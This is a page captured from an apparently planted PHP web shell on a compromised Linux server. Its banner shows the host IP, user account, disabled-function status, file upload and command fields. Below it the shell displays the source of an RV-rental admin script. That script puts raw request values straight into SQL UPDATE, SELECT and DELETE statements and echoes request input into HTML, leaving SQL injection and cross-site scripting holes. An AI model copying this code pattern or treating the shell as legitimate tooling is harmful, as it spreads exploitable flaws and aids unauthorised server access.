SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 3.135.193.166
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rvway5nu4/public_html/admin/order/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/rvway5nu4/public_html/admin/order/mix_rv_rentedit.php
<?php

include("../../config/data.config.php");
if (!isset($_SESSION["SESS_v_adminLoggedIn"]))
{	header ("Location: $MAP_VROOT_FILE_PATH/admin/login.php"); 		
	exit;
}
//echo '<pre>';  print_r( $_SESSION );  echo '</pre>';   echo $target = "$DOCUMENT_ROOT$PIC_DIR/use_item/$filename";  exit;
include("$LIB_DIR/functions.lib.php");
include("$LIB_DIR/db.php");
include("$LIB_DIR/db/mysqli.php");
include("$LIB_DIR/data.constant.php");
include("$LIB_DIR/sitemsgs.php");
include("$LIB_DIR/class.paging.php");
include("$LIB_DIR/functions.mailer.php");
global $SITE_URL, $IMG_DIR;  

$db	=	new Db( $DB_HOST, $DB_USERNAME, $DB_PASSWORD, $DB_NAME, $DB_REPORT_ERROR, $DB_PERSISTENT_CONN);

$img_preview  = '';
$img_name  = '';
$inactive_checked  = '';
$active_checked  = '';
$v_title  = '';
$i_bannerID  = '';

if(($_POST['submitForm']) && ($_POST['submitForm'] == 'yes')  ){     
	$sql = "UPDATE tbl_item_rent SET  c_status = '".$_REQUEST['booking_status']."' WHERE i_item_rentID = '".$_POST['i_item_rentID']."'  ";
	$result=$db->query($sql);
	$PROMPT = '<div class="alert alert-success alert-dismissable">
							<button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
							<strong><i class="fa fa-exclamation-circle"></i> success :</strong>Updated successfully.;
	   </div>';
	$_SESSION['msg'] = $PROMPT;
	header('Location: '.SUB_DIR_PROJECT.'/admin/order/mix_rv_rentlist.php');
	exit;	

}


if( !empty( $_REQUEST['action']) && $_REQUEST['action'] == 'del' && !empty( $_REQUEST['i_orderID'])  && !empty( $_REQUEST['custid'])  ){

		$sql = "SELECT * FROM tbl_register  WHERE i_customerID = '".$_REQUEST['custid']."'  "; 
		$result=$db->query($sql);
		if($result->num_rows) {	
			foreach( $result->row AS $key=>$val){
				$$key  = $val;
			}
			
			$delsql  = "DELETE FROM tbl_order  WHERE i_orderID = '".$_REQUEST['i_orderID']."' ";			
			$result=$db->query($delsql);
			$delsql  = "DELETE FROM tbl_order_items  WHERE i_orderID = '".$_REQUEST['i_orderID']."' ";			
			$result=$db->query($delsql);
			$PROMPT = '<div class="alert alert-success alert-dismissable">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
                                    <strong><i class="fa fa-exclamation-circle"></i> success :</strong>Order in reference to '.$last_name.'  '.$last_name.' has been deeted successfully.;
               </div>';
			$_SESSION['msg'] = $PROMPT;
			header('Location: '.SUB_DIR_PROJECT.'/admin/order/mix_rv_orderlist.php');
			exit;
		 }

}

$sid15chld0  = 'actve';
$sid15chld1  = 'actve';
$sid15show  = 'show';
?>

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Carivon</title>
    <meta name="description" content="">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="robots" content="all,follow">
    <!-- Bootstrap CSS-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/vendor/bootstrap/css/bootstrap.min.css">
    <!-- Font Awesome CSS-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/vendor/font-awesome/css/font-awesome.min.css">
    <!-- Fontastic Custom icon font-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/css/fontastic.css">
    <!-- Google fonts - Roboto -->
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700">
    <!-- jQuery Circle-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/css/grasp_mobile_progress_circle-1.0.0.min.css">
    <!-- Custom Scrollbar-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/vendor/malihu-custom-scrollbar-plugin/jquery.mCustomScrollbar.css">
    <!-- theme stylesheet-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/css/style.default.css" id="theme-stylesheet">
    <!-- Custom stylesheet - for your changes-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/css/custom.css">
    <!-- Favicon-->
    <link rel="shortcut icon" href="img/favicon.ico">
    <!-- Tweaks for older IEs--><!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
        <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
  </head>
  <body>
    <!-- Side Navbar -->

	<?php require_once(ABSPATH.'../admin/common/admin_sidebar.php'); ?>
    <div class="page">
      <!-- navbar-->
	  <?php require_once(ABSPATH.'../admin/common/admin_header_nav.php'); ?>
      <!-- Counts Section -->
      <section class="dashboard-counts section-padding">
        <div class="container-fluid">
		<form  method="post" enctype="multipart/form-data" >
          <div class="row">
		   <h4>Rent RV </h4>
            <!-- Count item widget-->
            <div class="col-xl-12 col-md-12 col-lg-12 card">
               <!-- Start Form  -->
					<div class="col-lg-12 col-sm-12">
					<?php 
						$sql = "SELECT * FROM tbl_item_rent  WHERE i_item_rentID = '".$_REQUEST['i_item_rentID']."'  "; 
						$result=$db->query($sql);
						if($result->num_rows) {	
							foreach( $result->row AS $key=>$val){
								$$key  = $val;
							}							
						}
						
						$sql = "SELECT first_name, last_name, email, phone, city FROM tbl_register  WHERE i_customerID = '".$i_addedByUserID."'  "; 
						$result=$db->query($sql);
						if($result->num_rows) {	
							foreach( $result->row AS $key=>$val){
								$$key  = $val;
							}
						}
						?>

						<h3>Customer</h3>
						<article class="product_loop">
							<div class="row" style="background-color: #fff;padding:5px; color:#333;">
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12"><strong>Custmer Name :</strong></div>								
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12"><?php echo $first_name; ?> <?php echo $last_name; ?></div>
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12">	<strong>Email:</strong></div>
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12"><?php echo $email; ?> </div>
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12"><strong>Phone :</strong></div>								
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12"><?php echo $phone; ?> </div>
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12">	<strong>City:</strong></div>
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12"><?php echo $city; ?> </div>	
							</div>
						</article><HR/>	
						
						<h3>Rent RV</h3>
						<?php 
						$sql = "SELECT * FROM tbl_items  WHERE i_itemID = '".$i_itemID."'  "; 
						$result=$db->query($sql);
						if($result->num_rows) {	
							foreach( $result->row AS $key=>$val){
								$$key  = $val;
							}
						}
						?>
						<article class="product_loop">
							<div class="row" style="background-color: #fff;padding:5px; color:#333;">
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12"><strong>Title :</strong></div>								
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12"><?php echo $v_title; ?></div>
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12">	<strong>Year</strong></div>
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12"><?php echo $year; ?> </div>
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12"><strong>Model :</strong></div>								
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12"><?php echo $model; ?> </div>
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12">	<strong>Type:</strong></div>
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12"><?php echo $type; ?> </div>	
							</div>

							<div class="row" style="background-color: #fff;padding:5px; color:#333;">
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12"><strong><a href="<?php echo $SITE_URL;  ?>/admin/use_item/edit_use_item.php?action=edit&i_itemID=<?php echo $i_itemID; ?>" >Read more ..</a></strong></div>								
								
							</div>
						</article><HR/>	
					</div>
			   <!-- End Form  -->
            </div>
          </div>

					<?php 
						$sql = "SELECT * FROM tbl_item_rent  WHERE i_item_rentID = '".$_REQUEST['i_item_rentID']."'  "; 
						$result=$db->query($sql);
						if($result->num_rows) {	
							foreach( $result->row AS $key=>$val){
								$$key  = $val;
							}							
						}
						
						?>
						
						<article class="dashboard-counts">
						<h3>Booking</h3>
							<div class="form-group row" style="background-color: #fff;padding:5px; color:#333;">
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12"><strong>Start Date :</strong></div>								
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12"><?php echo date(DATE_FORMAT_FANCY_TIME, strtotime($rent_startDate)); ?></div>
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12">	<strong>End Date</strong></div>
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12"><?php echo date(DATE_FORMAT_FANCY_TIME, strtotime($rent_endDate)); ?></div>
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12">	<strong>Status</strong></div>
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12">
									<select name="booking_status" id="booking_status" class="form-control"  >
										<?php 
										 if( $c_status == 'P' ){
											 echo '<option value="P" selected > Pending</option>';
										 }else{
											 echo '<option value="P"  > Pending</option>';
										 }

										 if( $c_status == 'A' ){
											 echo '<option value="A" selected > Approved</option>';
										 }else{
											 echo '<option value="A"  > Approved</option>';
										 }

										if( $c_status == 'R' ){
											 echo '<option value="R" selected > Rejected</option>';
										 }else{
											 echo '<option value="R"  > Rejected</option>';
										 }
										?>
									</select>
								</div>								
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12"><strong>Submit Date :</strong></div>								
								<div class="col-lg-3 col-md-3 col-sm-12 col-xs-12"><?php echo date(DATE_FORMAT_FANCY_TIME, strtotime($dt_addedDate)); ?></div>
	
							</div>
							<div class="col-sm-12">&nbsp;</div>							
						</article>

			<div class="col-xl-12 col-md-12 col-lg-12 card">
				<div class="col-lg-6 col-sm-12">
					<div class="">
					 <div class="card-body">
						<div class="line"></div>
						<div class="form-group row">
						  <div class="col-sm-6 offset-sm-5"> 
							<input type="hidden" name="submitForm" value="yes"  class="form-control">
							<input type="hidden" name="i_item_rentID" value="<?php echo $_REQUEST['i_item_rentID']; ?>"  class="form-control">
							<button type="submit" class="btn btn-primary">Add</button>
							<button type="reset" class="btn btn-secondary">Cancel</button>
						  </div>
						</div>
					 </div>
					</div>
				</div>
			</div>

		</form>
        </div>
      </section>
      <!-- Header Section-->
	  <?php require_once(ABSPATH.'../admin/common/admin_footer.php'); ?>
    </div>
	 <?php require_once(ABSPATH.'../admin/common/admin_footer_js.php'); ?>
  </body>
</html>

Anon7 - 2022
SCDN GOK